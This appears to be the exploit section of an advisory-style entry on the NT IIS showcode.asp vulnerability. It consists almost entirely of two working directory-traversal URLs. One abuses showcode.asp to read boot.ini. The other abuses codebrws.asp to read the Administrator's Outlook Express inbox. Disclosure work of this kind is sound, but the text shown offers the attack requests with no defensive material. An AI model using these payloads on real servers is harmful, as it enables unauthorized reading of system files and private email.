• info
• discussion
• exploit
• solution
• references

NT IIS Showcode ASP Vulnerability

http://www.sitename.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini

Using CodeBrws.asp, it is possible to view Outlook mail folders: http://some-sitename-here/iissamples/exair/howitworks/codebrws.asp?source=/../../winnt/Profiles/Administrator/Application%20Data/Microsoft/Outlook%20Express/Mail/inbox.mbx